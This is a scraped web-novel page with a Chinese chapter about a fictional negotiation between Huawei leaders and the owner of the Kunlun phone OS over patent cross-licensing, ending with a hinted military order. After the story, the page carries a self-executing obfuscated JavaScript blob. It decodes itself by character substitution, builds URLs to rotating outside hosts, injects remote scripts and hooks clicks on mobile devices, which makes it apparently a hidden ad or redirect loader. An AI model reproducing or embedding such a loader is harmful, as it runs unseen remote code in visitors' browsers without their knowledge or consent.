首页
第489章 华为谈判...军
返回
关灯 护眼:关 字号:小

第489章 华为谈判...军方的需要

章节报错(免登陆)

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    第489章华为谈判...军方的需要
    「陈总说笑了,我们是在昆仑上衍生出的系统,怎么好意思叫鸿蒙呢,我们这款系统叫K—H,昆仑—华为。」
    余承东说著就递过来一本厚厚的、像书一样的东西。
    陈学兵接过随手翻看,发现里面的参数过于专业,于是翻回去看了一下目录,结果还是一个头两个大。
    一、内核层:GPL底线,只做「必要适配」:
    《驱动、内存/调度优化》
    《—EXPORT—SYMBOL—GPL符号问题》
    《中间件层:独立二进位SDK+LGPL通用库》
    」
    「」
    「你这给技术员看的,给我干嘛,测试我水平?我不会写代码。」陈学兵瞥了余承东一眼。
    「你看最后,最后几页有总结。」
    陈学兵翻到后几页,才慢慢看了下去。
    三人也进了包厢。
    陈学兵越看越凝重。
    还真让华为找到自己的路了。
    通信增强,安全加密,还有VPN(安全远程办公)和MDM(设备/数据管理)等政企功能。
    短短三个月,他们竟然在上层堆了63项专利。
    太特么夸张了。
    他虽然不懂怎么写代码,但很清楚写代码的速度。
    系统代码是不能靠盲目堆人的,否则多组修改同一接口,代码冲突会频频发生。
    要按照接口独立、功能闭环、权责清晰的原则划分板块,每个板块配置1名核心负责人+2—3名辅助开发的小型团队,这样既保证效率,又杜绝冲突。
    昆仑系统上线的时候,基于Linu2.6内核新增、修改、删减了310万行代码,至今更迭过四个小版本,总修改已逾380万。
    Linu2.6原生代码量800万行,现在的昆仑v1.0.5版本,总代码量1120万行。
    得到这些成果花了一年半之久,而且很多功能堆砌完全出自他的意见,前期在设计方向上几乎没卡过壳,修改非常快。
    而华为四月底才拿到昆仑的技术文档,专利还布置在上层,必须通过昆仑改动过的进程调度与IPC接口底层代码才能实现,没有提前布置Linu2.6的可能。
    六十几项专利,少说不得一两百万行代码?
    才两三个月?
    你们这样,显得昆仑很废啊。
    「你们改了多少行代码?」陈学兵问道。
    「40万行。」
    空气安静了一下。
    「40万行,63项专利?」陈学兵皱眉。
    「是这样的,陈总,我们的专利代码量太大了,全部堆在上层客户端的话,有将近三百万行代码,这样客户端太胖了,而且全部通过进程调度也会非常卡,所以我们只在底层做了一些适配改动,主要是做了中间件层,是一个晶片模块和一个LGPL库。」
    「LGPL库?」
    「就是一个复用代码的工具箱,上接华为的应用层,下接系统内核,按需调用,不会一直占用内存,还可以对接调用晶片模块的功能,非常高效。」
    「哦...」陈学兵点点头,隐约明白了对方的来意。
    拿专利诱惑他来了。
    这种安全硬体模块,完全可以集成嵌入SOC晶片。
    嵌入会增加人力成本和晶片面积。
    但别的不说,单说加密功能的话,通过硬体实现比软体确实要强得多,像华为这种老牌技术企业做的硬体加密,几乎不可破。
    「也就是说,只要你们授权,这个LGPL库和晶片模块,麒麟也可以使用,而且不会增加内存压力。」
    「对。」余承东笑了。
    任总一开始还说最好让陈总带个技术员,方便解释,可他就说陈总不可能一点都不懂!
    陈学兵听明白了,却摇了摇头,一脸不愿与之为伍的嫌弃:「昆仑是做开源系统,增进全球技术分享,华为想加入此列,却一点开源意识都没有,你们这么参与,完全是零贡献,为了调度你们的专利,还会给系统增加不必要的冗余,其他不被你们允许的昆仑厂商根本用不了,我要是跟你们「同流合污」,不是伤了大家的心?」
    这话,让俩人都是一愣。
    陈总...这么开源的吗?
    任证非叹道:「陈总,通信是华为立身之本,开源核心专利等于自毁长城,你们系统也有自己保护的开源专利,想必能够明白。」
    「三七开吧。」陈学兵说道:「我们保留了三成,但也对底层也做了很多必要贡献,否则就没有今天的昆仑。」
    俩人沉默。
    昆仑是你们的,又不是华为的,你们做贡献不是理所应当?
    不过话说回来,要是这么讲,他们今天就没有出现在这里的必要。
    他们今天来,就是为了在昆仑的树干上,开出自己的8片花瓣。
    陈学兵当然猜得出他们的来意,笑了笑,语重心长地道:「任总,余总,奇点看起来是做手机的,实际上系统才是核心策略,麒麟不过是系统旗舰而已,以后我们的众多智能终端都要依赖系统存活,所以你们要让我用昆仑开源生态的退步换取麒麟的进步,对我来说就是因噎废食。」
    这番话起码有九分真心。
    麒麟是他掌控昆仑的一个风帆,昆仑才是整条船。
    不过此时说出来,并非表达坚定立场,只是增加他的谈判筹码而已。
    他要表达的是:华为的专利代码不愿意写进昆仑底层,而是通过中间件来实现,对他来说就没有多大诱惑力。
    「陈总,这可是个非常大的市场啊。」余承东眼神泛光,诱惑道:「你就没有想过,政府,国企,需要的是什么样的移动终端?有了我们的通信和加密专利加持,以后奇点和华为的手机,能让政府和国企定点采购!」
    陈学兵心里动了动,但面上还是云淡风轻地笑道:「那也要系统本身足够好用才行吧,只为了做保密移动终端,那不如去做PDA?」
    余承东咳了一声:「陈总,当初你答应我的,即使我们研究自己的系统,昆仑以后也不会卡我们的脖子...」
    陈学兵抬手打断:「我说的是如果你们自研失败了,想回头,昆仑也欢迎你们,不是说昆仑会支持你们自研。」
    华为这种自研已经跟做个「小米UI」完全不一样了,底层都搞了几十万行代码进去,哪天忽然自立门户也不是不可能的事情。
    余承东有点头大了,和任证非对视一眼。
    不好谈啊。
    任证非勉力笑了笑:「陈总,要不然我们谈谈合作条件?」
    陈学兵沉吟片刻,道:「好,你先说吧。」
    话讲到这个程度,其实华为想要什么他已经很清楚了,只是他想知道,华为能给他什么。
    任证非也直奔核心:「陈总,华为离不开昆仑的技术支持,更离不开生态准入,我们基于昆仑做K—H系统,后续升级政企加密、通信这些功能,需要昆仑的底层适配,也需要你们的自研专利。」
    华为做这个中间层可不完全是自己的灵感,而是过程中研究昆仑的完全开源层和条件开源层得出的想法。
    昆仑有些底层改动和条件开源层的技术适配,能让系统变得更好用,而且这样的适配越来越多,条件开源层越来越丰富。
    他们如果放弃这些,就等于放弃了昆仑的进化过程。
    而且除了条件开源层,应用生态也捏在陈学兵手里。
    这些应用,好多都是奇点旗下的,如果昆仑商店对他们关闭,他们可没有把握重建一个商店。
    实际上华为内部讨论这个问题的时候也干分焦虑,甚至在考虑要不要建一个投资部来专门投资这些应用,可奇点在这一块上又把握得很死,做出来的产品竞争力很强。
    像微博,连滕讯和新浪都打不过。
    那个星联,完全是为了手机网际网路而生,思维十分新颖。
    视频播放器专利也很多,听说专门投了个「暴风影音」进行合作。
    连他们的点点音乐,最近出的什么「会说话的加菲猫」,「愤怒的小鸟」游戏,都成了爆款产品,网上讨论很多。
    这还没算淘宝,以及股安投资体系下的一系列产品。
    这本非华为的强项,干不过啊。
    如果乱投资,不是浪费钱?
    还容易引起奇点的警惕。
    要是一脚给他们踢出去,那智慧型手机看著都不像智慧型手机了。
    一当初他们还信心满满,觉得昆仑既然开源,就是华为的机会。
    结果一上手,发现到处都是坑,而且短短时间,中国用户的口味被奇点养得越来越刁了。
    可华为自主已经投了不少钱了,还得继续做,怎么办?
    「所以...我们打算把这些专利拿出来,跟奇点共享,长期交叉授权。」
    任证非多少感觉有点憋屈,不过这些年在欧美通信商的夹缝下生存,也憋屈惯了。
    「长期交叉授权。」陈学兵缓缓笑道:「就是说昆仑的条件开源层长时间授权给你们,即使你们踩著昆仑自立门户,我们也得让你们用奇点的技术,那...未来产生的技术呢?你们要不要?昆仑商店...算产品不算技术吧?我们以后更新了埠,不授权给你们了,行不行?」
    余承东脸黑了:「陈总,这么说话就没意思了,友好合作嘛!你们麒麟发布会的时候我带著队去...」
    昆仑条件开源层,现在才多少技术?
    华为的63项通信专利,那是十几年的积淀!
    换的不就是未来嘛!
    任正非抬手按住还要争辩的余承东,眼神示意那点小恩小惠就不要说了。
    「陈总,我们的诉求已经说明白了,你觉得我们的条件有哪些不足,补充就是。」
    「好,我来补充。」陈学兵笑了笑,眼神锐利起来:「第一,你们那63项专利,不能只自己用,我要二次定向授权权,昆仑生态里的核心伙伴、政企采购指定厂商,经我审核后能使用而且必须走昆仑的系统通道,不能绕开我们,所以华为的底层改动要独立成模块,仅开放标准接口。第二,华为不能只做伸手党,得定期给昆仑做点实事,比如修复安全漏洞、优化系统适配逻辑,或者公开部分晶片加密功能的代码,帮昆仑变强。」
    余承东瞬间急了:「陈总,华为专利怎么能随便授权给别人?还有,模块化封装需要华为投入太多人力财力了,而且我们系统升级要微调底层接口,总不能每次都要配合整改,太影响进度了!」
    几十万代码改成模块,他怀疑陈学兵完全不知道这里面的难度。
    陈学兵却淡淡反驳:「我这已经是给你们一条活路了,你们的改动做成独立模块,跟昆仑原生代码不混编,你们的东西想怎么改就怎么改,我自然也不会为难你们,可你们要在墙里面乱埋管线,昆仑后续版本叠代的时候可不会管你们,你们可以坚持,但以后如果用不了了别找我就行。」
    「至于专利授权,也不是随便授权,我们双方可以成立一个管控小组,审核授权厂商,监督专利使用。」
    华为可以自主升级,但必须做成昆仑持续能用的升级包,而且不能影响底层。
    至于华为前期开发成本增加,后续需要额外适配昆仑新版本的兼容性,他不是想像不到,但那是华为考虑的事。
    他只负责出题,不负责解答。
    任证非沉默了一阵,道:「专利授权可以谈,但华为的核心算法不能公开,给昆仑做贡献也可以,但要明确标准,不能让我们白费力气。」
    见任正非松口,陈学兵放缓了语气:「贡献标准属于技术细节,你们派人跟昆仑事业群谈。我要的也不是让华为吃亏,是生态共赢。专利授权,华为拿七成专利费,昆仑拿三成,生态做大了,你们K—H的订单也会更多,授权范围仅限昆仑生态设备,你们还是专利所有者,算法加密的工作你们自己做。技术支持方面,你们提前三天同步升级计划,昆仑对接适配,接口修改要兼容整个生态,修改逻辑同步给我们,这就算你们的贡献之一,另外...」
    他又强调道:「K—H系统启动时必须标注基于昆仑开源系统开发」,不能限制用户刷回原生昆仑,这是开源的底线,也是你们接入生态的前提。」
    余承东皱著眉道:「标注没问题,但用户刷回原生系统,我们的晶片加密功能可能用不了,影响专属体验。」
    「这个问题你们跟昆仑事业群商量吧。」陈学兵笑意轻松:「或者把部分加密功能适配原生昆仑也行啊,既不影响你们的用户,又能增强昆仑的竞争力,一举两得,正好作为你们给昆仑的第一个贡献。」
    余承东脸上出现了一个学友表情包:〔呷屎啦你.jpg)
    任正非心里则快速盘算,陈学兵的条件看似苛刻,实则有一定好处,也有一定谈判的空间。
    这个模块化,能让华为更好地接入昆仑。
    开放授权的问题,华为能做核心加密,也能增加授权条件,还能拿到七成收益,实际上可以借助昆仑阵容增加授权市场。
    他最终抬手,伸向陈学兵:「好,就按陈总的方案来,华为愿意和昆仑绑定,一起把生态做大,只要不卡我们的生态支持,我们长期合作。」
    陈学兵咧了咧嘴,PUA了一句:「其实在我看来,你们的通讯加强技术还有点价值,加密技术完全是冗余,除了特定单位,根本没有市场化价值。」
    什么加密通讯,完全不是普通人的需要,即使是政府单位流行过一段时间「开会不充许使用苹果手机」等政策,但都是地方性的,最终也无法形成强制标准。
    不用国外手机,谁说就一定得用华为?
    不过...这年头吧,大家都想著拿大单子,就跟抢破头的运营商合约机一样,一次性付款确实香,也能理解。
    但这话一出,任证非和余承东居然同时笑了。
    任证非沉了口气,说道:「陈总,其实今天来找你,就是有一笔生意想跟你们合作。」
    「哦?」陈学兵先是一愣,而后想到什么,眼神眯了眯,犹疑道:「你们不会...
    真搞到「特定单位」的订单了吧。」
    任证非靠近,声音小了不少:「部队想找我们做一批定制化...而且是大订单。」
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();